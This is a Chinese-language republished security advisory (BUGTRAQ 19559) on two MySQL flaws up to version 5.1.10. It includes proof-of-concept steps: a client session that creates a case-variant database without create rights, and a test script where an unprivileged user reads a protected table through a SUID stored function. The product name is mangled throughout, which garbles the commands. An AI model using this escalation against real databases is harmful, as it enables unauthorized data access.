程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> MySQL綜合教程 >> MySQL權限提升與安全限制問題探討

MySQL權限提升與安全限制問題探討

編輯:MySQL綜合教程

以下的文章主要講述的是MySQL權限提升與安全限制繞過漏洞的實際應用,我前幾天在相關網站看見MySQL權限提升與安全限制繞過漏洞的實際應用的資料,覺得挺好,今天就拿出來供大家分享。

受影響系統:

MySQL(和PHP搭配之最佳組合) AB MySQL(和PHP搭配之最佳組合) <= 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL(和PHP搭配之最佳組合)是一款使用非常廣泛的開放源代碼關系數據庫系統,擁有各種平台的運行版本。

在MySQL(和PHP搭配之最佳組合)上,擁有訪問權限但無創建權限的用戶可以創建與所訪問數據庫僅有名稱字母大小寫區別的新數據庫。成功利用這個漏洞要求運行MySQL(和PHP搭配之最佳組合)的文件系統支持區分大小寫的文件名。

此外,由於在錯誤的安全環境中計算了suid例程的參數,攻擊者可以通過存儲的例程以例程定義者的權限執行任意DML語句。成功攻擊要求用戶對所存儲例程擁有EXECUTE權限。

測試方法:

警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!】

1、創建數據庫

  1. $ MySQL(和PHP搭配之最佳組合) -h my.MySQL(和PHP搭配之最佳組合).server -u sample -p -A sample  
  2. Enter password:   
  3. Welcome to the MySQL(和PHP搭配之最佳組合) monitor. Commands end with ; or \g.  
  4. Your MySQL(和PHP搭配之最佳組合) connection id is 263935 to server version: 4.1.16-standard  
  5. MySQL(和PHP搭配之最佳組合)> create database another;  
  6. ERROR 1044: Access denied for user 'sample'@'%' to database 'another'  
  7. MySQL(和PHP搭配之最佳組合)> create database sAmple;   
  8. Query OK, 1 row affected (0.00 sec)  

2、權限提升

  1. --disable_warnings  
  2. drop database if exists MySQL(和PHP搭配之最佳組合)test1;  
  3. drop database if exists MySQL(和PHP搭配之最佳組合)test2;  
  4. drop function if exists f_suid;  
  5. --enable_warnings  
  6. # Prepare playground  
  7. create database MySQL(和PHP搭配之最佳組合)test1;  
  8. create database MySQL(和PHP搭配之最佳組合)test2;  
  9. create user malory@localhost;  
  10. grant all privileges on MySQL(和PHP搭配之最佳組合)test1.* to malory@localhost;  
  11. # Create harmless (but SUID!) function  
  12. create function f_suid(i int) returns int return 0;  
  13. grant execute on function test.f_suid to malory@localhost;  
  14. use MySQL(和PHP搭配之最佳組合)test2;  
  15. # Create table in which malory@localhost will be interested but to which  
  16. # he won't have any access  
  17. create table t1 (i int);  
  18. connect (malcon, localhost, malory,,MySQL(和PHP搭配之最佳組合)test1);  
  19. # Correct malory@localhost don't have access to MySQL(和PHP搭配之最佳組合)test2.t1  
  20. --error ER_TABLEACCESS_DENIED_ERROR  
  21. select * from MySQL(和PHP搭配之最佳組合)test2.t1;  
  22. # Create function which will allow to exploit security hole  
  23. delimiter |;  
  24. create function f_evil ()  
  25. returns int  
  26. sql security invoker  
  27. begin  
  28. set @a:= current_user();  
  29. set @b:= (select count(*) from MySQL(和PHP搭配之最佳組合)test2.t1);  
  30. return 0;  
  31. end|  
  32. delimiter ;|  
  33. # Again correct  
  34. --error ER_TABLEACCESS_DENIED_ERROR  
  35. select f_evil();  
  36. select @a, @b;  
  37. # Oops!!! it seems that f_evil() is executed in the context of  
  38. # f_suid() definer, so malory@locahost gets all info that he wants  
  39. select test.f_suid(f_evil());  
  40. select @a, @b;  
  41. connection default;  
  42. drop user malory@localhost;  
  43. drop database MySQL(和PHP搭配之最佳組合)test1;  
  44. drop database MySQL(和PHP搭配之最佳組合)test2;  

建議:

廠商補丁:MySQL(和PHP搭配之最佳組合) AB,目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved